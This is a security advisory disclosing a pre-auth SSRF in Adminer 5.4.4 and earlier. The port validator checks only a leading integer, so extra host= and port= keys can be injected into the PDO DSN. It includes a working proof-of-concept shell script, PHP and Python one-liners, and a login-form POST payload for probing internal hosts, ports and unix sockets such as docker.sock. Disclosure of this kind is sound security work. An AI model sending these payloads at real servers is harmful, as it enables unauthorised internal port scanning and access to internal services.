Skip to content

Pre-auth SSRF via PDO DSN injection in server field (privileged-port validator bypass) — 5.4.5-dev

Moderate
vrana published GHSA-58cq-mgw2-38m5 Jul 17, 2026

Package

composer vrana/adminer (Composer)

Affected versions

<= 5.4.4

Patched versions

5.5.0

Description

DSN-injection pre-auth SSRF

Summary

Adminer's login server-string validator rejects privileged ports (< 1024) but only inspects a leading integer. A value like localhost:zzz;host=10.0.0.5;port=22 passes validation, and the PDO drivers interpolate the raw port into an unquoted DSN. PDO_MySQL honours the smuggled host=/port= keys (last-key-wins) and opens a TCP connection to the attacker-chosen host:port. The connect fires before authentication, turning the login form into an unauthenticated SSRF / internal port-scan oracle that defeats the privileged-port restriction added in 5.4.3 (GHSA-r4x9-5m63-3vxw).

Details

host_port() (adminer/include/functions.inc.php:867) splits the server string on the last colon and captures the port with [^:]+, so the port may contain ;, ,, /, spaces and letters. The validator (adminer/include/auth.inc.php:179) only rejects a port that begins with an out-of-range integer:

if (preg_match('~^\s*([-+]?\d+)~', $port, $match) && ($match[1] < 1024 || $match[1] > 65535)) {
    auth_error(lang('Connecting to privileged ports is not allowed.'), $permanent);
}

A port starting with a non-digit is never inspected. The PDO drivers then interpolate $port into an unquoted DSN:

// adminer/drivers/mysql.inc.php:180  (PDO_MySQL)
"mysql:charset=utf8;host=$host" . ($port ? (is_numeric($port) ? ";port=" : ";unix_socket=") . $port : "")

Because the port carries ;, the attacker appends DSN keys. PDO_MySQL applies the last host=/port= in the DSN, so ;host=<internal>;port=<privileged> overrides the validated host and reaches an arbitrary TCP endpoint. Same class affects PDO_DBLIB / PDO_SQLSRV (adminer/drivers/mssql.inc.php:187,197) and PDO_OCI (adminer/drivers/oracle.inc.php:114, interpolates the raw $server). mysqli reaches arbitrary unix sockets via the unix_socket branch. PostgreSQL is not affected (host/port addcslashes-quoted). SERVER is attacker-controlled via $_GET[DRIVER] at adminer/include/bootstrap.inc.php:88.

PoC

#!/bin/bash
# Adminer 5.4.5-dev pre-auth SSRF PoC: PDO_MySQL honours a smuggled host=/port= from the
# injected `server` field and opens a TCP connection to a privileged/internal endpoint that
# the privileged-port validator (auth.inc.php:179) directly rejects.
# Proves the DSN Adminer builds for SERVER=localhost:zzz;host=127.0.0.1;port=<PORT> reaches TCP.
#
# Detection is nc-flavor-independent: a single-shot Python listener accepts one connection,
# writes a marker file, and closes immediately (so PDO returns at once instead of blocking).
set -u
PORT="${PORT:-9999}"
FLAG=$(mktemp)
rm -f "$FLAG"   # presence of this file == the smuggled TCP connect landed

if ! command -v python3 >/dev/null 2>&1; then echo "[-] need python3"; exit 1; fi

# Single-shot catcher: bind 127.0.0.1:PORT, accept one connection, record peer, close, exit.
python3 - "$PORT" "$FLAG" <<'PY' &
import socket, sys
port = int(sys.argv[1]); flag = sys.argv[2]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
    s.bind(("127.0.0.1", port)); s.listen(1); s.settimeout(10)
    conn, addr = s.accept()
    with open(flag, "w") as f: f.write("HIT %s:%d" % addr)
    conn.close()
except OSError as e:
    sys.stderr.write("[-] listener error: %s\n" % e)
finally:
    s.close()
PY
LPID=$!
sleep 0.7   # let the listener bind

DSN="mysql:charset=utf8;host=localhost;unix_socket=zzz;host=127.0.0.1;port=$PORT"
echo "[*] DSN as built by adminer/drivers/mysql.inc.php:180: $DSN"
php -r '$d=$argv[1]; try{new PDO($d,"x","x",[PDO::ATTR_TIMEOUT=>3]);}catch(Exception $e){echo "[*] PDO: ".$e->getMessage()."\n";}' "$DSN"

wait "$LPID" 2>/dev/null
if [ -f "$FLAG" ]; then
  echo "[*] Listener: $(cat "$FLAG")"
  echo "[+] CONFIRMED: PDO opened TCP to smuggled 127.0.0.1:$PORT (privileged-port validator bypassed)"
  rm -f "$FLAG"; exit 0
else
  echo "[-] no TCP connection observed (is pdo_mysql installed? is port $PORT free? try: PORT=9998 $0)"
  rm -f "$FLAG"; exit 1
fi
  1. Validator accepts the smuggle, rejects the direct form:
php poc_1_dsn_injection_ssrf_port_bypass.php
# 10.0.0.5:22 => REJECT(privileged port)
# localhost:zzz;host=10.0.0.5;port=22 => ALLOW
  1. PDO_MySQL honours the smuggled TCP target (single-shot listener proves the connect lands):
python3 -c 'import socket;s=socket.socket();s.setsockopt(1,2,1);s.bind(("127.0.0.1",9999));s.listen(1);s.settimeout(10);c,a=s.accept();print("HIT",a);c.close()' &
sleep 0.7
php -r '$d="mysql:charset=utf8;host=localhost;unix_socket=zzz;host=127.0.0.1;port=9999"; try{new PDO($d,"x","x",[PDO::ATTR_TIMEOUT=>3]);}catch(Exception $e){echo $e->getMessage();}'
# listener prints HIT ('127.0.0.1', <srcport>); PHP prints "MySQL server has gone away" = completed TCP handshake
  1. Against a live Adminer, submit the login form (pre-auth):
POST /adminer.php
auth[driver]=server&auth[server]=localhost:zzz;host=<internal-ip>;port=<port>&auth[username]=x&auth[password]=x

The response (connection refused / handshake / timeout) reveals whether <internal-ip>:<port> is open.

Impact

Unauthenticated SSRF. Any attacker who can reach the Adminer login page drives the server into TCP connects to arbitrary internal host:port — including the privileged ports the 5.4.3 fix protects. Response timing/error text is a blind oracle to map internal hosts and open ports, and to reach internal-only MySQL/MariaDB instances. Also: arbitrary unix-socket connect (e.g. localhost:/var/run/docker.sock) and DSN attribute injection into PDO_SQLSRV/DBLIB/OCI.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

CVE ID

No known CVE

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits